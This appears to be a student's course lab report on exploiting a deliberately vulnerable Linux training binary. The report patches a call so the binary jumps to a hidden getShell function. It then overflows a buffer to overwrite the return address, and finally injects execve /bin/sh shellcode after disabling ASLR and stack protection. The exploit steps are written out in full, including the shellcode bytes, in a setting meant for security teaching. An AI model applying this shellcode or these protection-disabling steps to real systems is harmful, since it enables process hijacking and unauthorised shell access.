2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

- 实验任务

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 注入一个自己制作的shellcode并运行这段shellcode。

  • 这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段

  • 强行修改程序执行流

  • 以及注入运行任意代码。

- 基础知识

  • NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP指令即“空指令”,执行到NOP指令时,CPU什么也不做,机器码是90;

JNE即条件转移指令,如果不相等则跳转,机器码是75;

JE即条件转移指令,如果相等则跳转,机器码是74;

JMP即无条件转移指令。段内直接短转Jmp short,机器码是EB; 段内直接近转移Jmp near,机器码是E9; 段内间接转移 Jmp word,机器码是FF; 段间直接(远)转移Jmp far,机器码是EA;

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

- 实验过程

- 实验点1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 使用objdump -d pwn1将pwn1反汇编;
    可找到80484b5: e8 d7 ff ff ff call 8048491 这条汇编指令,这条指令就是在main函数中调用位于地址8048491处的foo函数,e8表示“call”,d7 ff ff ff是地址。因此,我们想让函数调用getShell,只需将其修改为c3 ff ff ff;

  • vi pwn1进入编辑器,输入:%!xxd将显示模式切换为十六进制,准备进行修改;

  • 在底行模式输入/e8d7定位需要修改的地方,确认并按i进入插入模式,修改d7为c3;

  • 输入:%!xxd -r将十六进制转换为原格式,再输入:wq!保存并退出;

  • 输入./pwn1,即运行修改后的代码,可以得到shell提示符;

- 实验点2:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 使用gdb调试pwn1,当输入字符长度合法时,该可执行文件可调用函数foo,正常运行;

  • 当输入字符长度过长时,发生段错误,产生溢出;

  • 查看eip寄存器中的值,可发现是输入字符串中的“5”发生溢出;

  • 进一步确认,可发现是1234 那四个数最终会覆盖到堆栈上的返回地址,因此要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell;

  • 使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造文件;

  • 输入(cat input; cat) | ./pwn1

- 实验点3:注入一个自己制作的shellcode并运行这段shellcode

  • 使用apt-get install execstack命令安装execstack;

  • 使用如下指令进行配置:

execstack -s pwn1

execstack -q pwn1

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space

more /proc/sys/kernel/randomize_va_space

  • 使用命令   perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    其中,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,随后修改这个返回地址。

  • 在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击;

  • 在另一个终端打开,使用ps -ef | grep pwn查看pwn1这个进程,发现进程号为35803;

  • 使用gdb进行调试,输入attach 35803 ;

  • 使用disassemble foo 命令进行反汇编;

  • 使用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址;

  • 使用x/16x 0xffffd35c查看其存放内容,01020304就是返回地址的位置,所以地址应为0xffffd360;

  • 将之前的\x4\x3\x2\x1改为这个地址,再使用命令(cat input_shellcode;cat) | ./pwn1 执行程序,攻击成功。

- 实验收获与感想

  • 这次实验是在听完老师讲解后,又参考学长学姐的博客完成的。通过这次实验,初步理解了缓冲区溢出的原理,以及恶意代码的覆盖和执行等,虽然学习的过程有些坎坷,但收获还算很大的。

  • 漏洞:漏洞就是硬件或软件等方面存在的缺陷。危害很大,能被人利用,恶意入侵、篡改或控制计算机,存在很大的安全隐患。

posted @ 2019-03-12 16:47  brs666  阅读(195)  评论(0编辑  收藏  举报